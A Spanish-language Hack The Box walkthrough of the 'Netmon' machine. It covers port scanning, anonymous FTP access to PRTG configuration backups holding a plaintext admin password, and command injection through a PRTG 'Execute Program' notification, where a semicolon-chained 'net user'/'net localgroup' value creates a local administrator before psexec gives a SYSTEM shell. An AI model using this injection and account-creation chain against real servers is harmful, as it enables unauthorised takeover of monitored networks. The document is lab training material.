Enumeración
Iniciamos la fase de reconocimiento validando la conectividad con el objetivo. El TTL=127 del paquete ICMP nos indicó de inmediato que nos enfrentábamos a un sistema operativo Windows. Al realizar un escaneo de puertos con Nmap, descubrimos una superficie de ataque interesante con los puertos 21 (FTP), 80 (HTTP) y 445 (SMB) abiertos.
Tras intentar un acceso anónimo al servicio SMB sin éxito, procedimos a probar el mismo vector en el servicio FTP. Logramos una conexión exitosa como usuario anonymous, lo que nos otorgó acceso de lectura a la raíz del disco C:\. Al navegar por directorios críticos, llegamos a C:\ProgramData\Paessler\PRTG Network Monitor, donde localizamos archivos de configuración y backups que suelen contener credenciales en texto plano.
# Inicializar el entorno de trabajo y definir la IP del objetivo
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ htb-init netmon 10.129.230.176
Target IP globally set to: 10.129.230.176
# [-c 1] Enviar un único paquete para determinar el OS mediante el TTL (127 = Windows)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/netmon]
└─$ ping -c 1 $IP
64 bytes from 10.129.230.176: icmp_seq=1 ttl=127 time=111 ms
# [-p-] Escanear los 65535 puertos
# [-n] Desactivar resolución DNS para agilizar el escaneo
# [-sS] Escaneo TCP SYN (Stealth)
# [-Pn] Omitir el descubrimiento de host (No ping)
# [--min-rate=5000] Enviar al menos 5000 paquetes por segundo
# [-oG] Guardar el output en formato Grepeable
┌──(jquirozz㉿jquirozz.com)-[~/HTB/netmon]
└─$ sudo nmap -p- -n -sS -Pn --min-rate=5000 $IP -oG nmap/allPorts
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
18592/tcp filtered unknown
21265/tcp filtered unknown
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49906/tcp filtered unknown
50421/tcp filtered unknown
58803/tcp filtered unknown
63101/tcp filtered unknown
# Extraer y copiar al portapapeles los puertos abiertos encontrados en el escaneo
┌──(jquirozz㉿jquirozz.com)-[~/HTB/netmon]
└─$ extractPorts nmap/allPorts
[*] IP Address: 10.129.230.176
[*] Open ports: 21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669
[!] Ports copied to clipboard
# [-sCV] Ejecutar scripts de enumeración por defecto y detección de versiones de servicios
# [-oN] Guardar el reporte en formato legible de Nmap
┌──(jquirozz㉿jquirozz.com)-[~/HTB/netmon]
└─$ sudo nmap -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 -sCV --min-rate=5000 $IP -oN nmap/versions
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM <DIR> inetpub
| 07-16-16 09:18AM <DIR> PerfLogs
| 02-25-19 10:56PM <DIR> Program Files
| 02-03-19 12:28AM <DIR> Program Files (x86)
| 02-03-19 08:08AM <DIR> Users
|_11-10-23 10:20AM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-05-13T06:11:18
|_ start_date: 2026-05-13T06:05:38
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -12s, deviation: 0s, median: -12s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
# Intentar acceso anónimo al FTP (anonymous)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/netmon]
└─$ ftp $IP
# Navegar a la ruta donde PRTG almacena su base de datos y configuraciones
# ProgramData es un directorio oculto en Windows que suele contener datos de aplicaciones
ftp> cd ProgramData/Paessler/"PRTG Network Monitor"
# Listar archivos en busca de configuraciones antiguas (.old) o backups (.bak)
ftp> ls
05-13-26 02:48AM <DIR> Configuration Auto-Backups
05-13-26 02:16AM <DIR> Log Database
02-03-19 12:18AM <DIR> Logs (Debug)
02-03-19 12:18AM <DIR> Logs (Sensors)
02-03-19 12:18AM <DIR> Logs (System)
05-13-26 02:16AM <DIR> Logs (Web Server)
05-13-26 02:16AM <DIR> Monitoring Database
02-25-19 10:54PM 1189697 PRTG Configuration.dat
02-25-19 10:54PM 1189697 PRTG Configuration.old
07-14-18 03:13AM 1153755 PRTG Configuration.old.bak
05-13-26 02:47AM 1673141 PRTG Graph Data Cache.dat
02-25-19 11:00PM <DIR> Report PDFs
02-03-19 12:18AM <DIR> System Information Database
02-03-19 12:40AM <DIR> Ticket Database
02-03-19 12:18AM <DIR> ToDo Database
# Descargar los archivos de interés para analizarlos localmente con herramientas de texto
ftp> get "PRTG Configuration.old"
ftp> get "PRTG Configuration.old.bak"
# [-i] Ignorar mayúsculas/minúsculas
# [-C 5] Mostrar 5 líneas de contexto alrededor del hallazgo para identificar el bloque XML
┌──(jquirozz㉿jquirozz.com)-[~/HTB/netmon]
└─$ grep -iC 5 "prtgadmin" "PRTG Configuration.old.bak"
<dbpassword>
<!-- User: prtgadmin -->
PrTg@dmin2018
</dbpassword>
Explotación
Al inspeccionar el archivo PRTG Configuration.old.bak, localizamos la credencial PrTg@dmin2018 para el usuario prtgadmin. Aunque esta credencial falló inicialmente en el panel web, aplicamos una técnica de adivinanza basada en el año de lanzamiento de la máquina (2019), logrando acceso exitoso con PrTg@dmin2019
Una vez dentro del panel de control de PRTG, aprovechamos una funcionalidad legítima de Notificaciones que permite la ejecución de scripts o programas externos tras cumplirse una condición de alerta. Al crear una notificación personalizada del tipo “Execute Program”, inyectamos comandos de sistema para crear un nuevo usuario con privilegios administrativos.

- Navegar a Setup -> Account Settings -> Notifications
- Crear nueva notificación: “Execute Program”
- Parameter: Script que añade un usuario al grupo de administradores locales
# 1. 'net user' crea la cuenta local
# 2. 'net localgroup' la añade al grupo de administradores
# Utilizamos ";" como delimitador de comandos en Windows
test.txt; net user pwned jquirozz.com /add; net localgroup administrators pwned /add

Con el usuario pwned ya registrado como administrador en el sistema, procedimos a materializar el acceso en una shell interactiva. Utilizamos impacket-psexec, una herramienta que aprovecha el protocolo SMB para cargar un ejecutable de servicio, registrarlo y proporcionarnos una consola con privilegios de NT AUTHORITY\SYSTEM.
Este método es extremadamente eficaz en entornos Windows con SMB abierto, ya que nos permite saltar directamente a la gestión total del sistema sin necesidad de explotar vulnerabilidades adicionales.
# impacket-psexec usuario:contraseña@target
┌──(jquirozz㉿jquirozz.com)-[~/HTB/netmon]
└─$ impacket-psexec 'pwned':'jquirozz.com'@$IP
C:\Windows\system32>
# Este archivo era accesible desde FTP
C:\Windows\system32> type C:\Users\Public\Desktop\user.txt
dd****************************91
# Pwned!
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
79****************************ca